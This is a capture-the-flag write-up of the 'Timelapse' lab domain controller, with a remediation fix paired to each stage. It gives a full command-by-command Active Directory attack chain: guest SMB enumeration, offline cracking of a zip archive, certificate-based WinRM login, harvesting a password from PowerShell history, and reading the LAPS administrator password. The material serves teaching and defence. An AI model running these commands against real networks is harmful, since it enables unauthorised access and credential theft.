Timelapse
Summary
I exploited guest-readable SMB shares to download a WinRM credential backup archive, cracked its weak password to extract a domain user's certificate, and authenticated to the domain controller over WinRM using that certificate. From that foothold I recovered a second account's plaintext password from PowerShell command history on disk, then leveraged that account's over-privileged LAPS read rights to extract the current local Administrator password from Active Directory — yielding full control of the domain controller.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for svc_deploy>"
export PASSWORD2="<the-password-you-recovered, for Administrator>"Some commands also carry a value in angle brackets — <cracked_password> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Enumerate shares via guest with no password.
$ nxc smb $TARGET -u guest -p '' --sharesRID-cycle to list domain accounts via null session.
$ nxc smb $TARGET -u '' -p '' --rid-bruteFixDisable anonymous and guest SMB access to the domain controllerMedium
Exact commands 2
Recursively list all files on the Shares share as guest.
$ smbclient -N //$TARGET/Shares -c 'recurse ON; prompt OFF; ls'Download the credential backup archive over the null session.
$ smbclient -N //$TARGET/Shares -c 'cd Dev; get winrm_backup.zip'FixRemove credential and certificate material from file sharesCritical
Exact commands 5
Extract the password hash from the zip archive.
$ zip2john winrm_backup.zip > zip.hashCrack the archive password offline.
$ john zip.hash --wordlist=/usr/share/wordlists/rockyou.txtExtract the PFX file using the recovered password.
$ unzip -P <cracked_password> winrm_backup.zipExport the private key from the PFX (enter cracked password at prompt).
$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -nodes -out legacyy.keyExport the certificate from the PFX.
$ openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out legacyy.crtFixEnforce strong passwords on any credential archives and eliminate unnecessary backupsHigh
Exact commands 2
Open an authenticated shell using the stolen certificate; -S enables SSL on port 5986.
$ evil-winrm -i $TARGET -S -c legacyy.crt -k legacyy.keyRead the user flag -> <user.txt>
$ type C:\Users\legacyy\Desktop\user.txtExact commands 1
Read PowerShell command history for the legacyy account; reveals svc_deploy password in a prior command.
$ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txtFixClear PowerShell history files and prohibit entering credentials at the command lineHigh
Exact commands 2
Query ms-Mcs-AdmPwd via the LAPS module using svc_deploy credentials.
$ nxc ldap $TARGET -d timelapse.htb -u svc_deploy -p "$PASSWORD" -M lapsAlternative: query the attribute directly over LDAP.
$ ldapsearch -x -H ldap://$TARGET -D 'timelapse\svc_deploy' -w "$PASSWORD" -b 'DC=timelapse,DC=htb' '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwdFixRestrict LAPS read permissions to only accounts that operationally require themCritical
Exact commands 3
Open a domain controller Administrator shell using the LAPS password.
$ evil-winrm -i $TARGET -S -u Administrator -p "$PASSWORD2"Search all user profiles for root.txt — flag resides under TRX, not Administrator.
$ Get-ChildItem C:\Users -Filter root.txt -Recurse -Force -ErrorAction SilentlyContinueRead the root flag -> <root.txt>
$ type C:\Users\TRX\Desktop\root.txtExposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-06 08:59:48Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | ldapssl? |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name) |
| 3269/tcp | globalcatLDAPssl? |
| 5986/tcp | ssl/wsmans? |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49667/tcp | unknown recon-sweep-discovered |
| 49673/tcp | unknown recon-sweep-discovered |
| 49674/tcp | unknown recon-sweep-discovered |
| 49693/tcp | unknown recon-sweep-discovered |